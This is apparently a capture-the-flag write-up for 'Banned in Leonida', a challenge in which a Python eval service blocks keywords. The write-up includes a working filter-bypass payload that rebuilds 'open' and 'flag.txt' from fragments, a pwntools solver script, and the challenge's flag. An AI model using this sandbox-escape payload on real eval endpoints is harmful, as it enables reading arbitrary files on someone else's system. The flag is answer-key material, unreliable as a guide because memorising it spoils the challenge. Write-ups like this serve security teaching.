Banned in Leonida

Walkthrough

Solution

The service evaluates a Python expression but rejects raw input containing words such as open and flag. The filter only sees the submitted text, so build both forbidden names at runtime, recover open from __builtins__ with getattr, and read the flag file.

The payload is:

getattr(__builtins__,''.join(['o','p','e','n']))(''.join(['fl','ag.txt'])).read()

Reference solver

The reference solver supplied with the writeup:

#!/usr/bin/env python3

from pwn import *


context.log_level = "error"

p = process(["python3", "-u", "chall.py"]) if args.LOCAL else remote("127.0.0.1", 9042)

payload = b"getattr(__builtins__,''.join(['o','p','e','n']))(''.join(['fl','ag.txt'])).read()"
p.sendlineafter(b"> ", payload)

p.recvuntil(b"Securinets{")
flag = b"Securinets{" + p.recvuntil(b"}")
print(flag.decode())
p.close()

Flag

Securinets{r0ckst4r_b4nn3d_th3_w0rds_n0t_th3_l34k}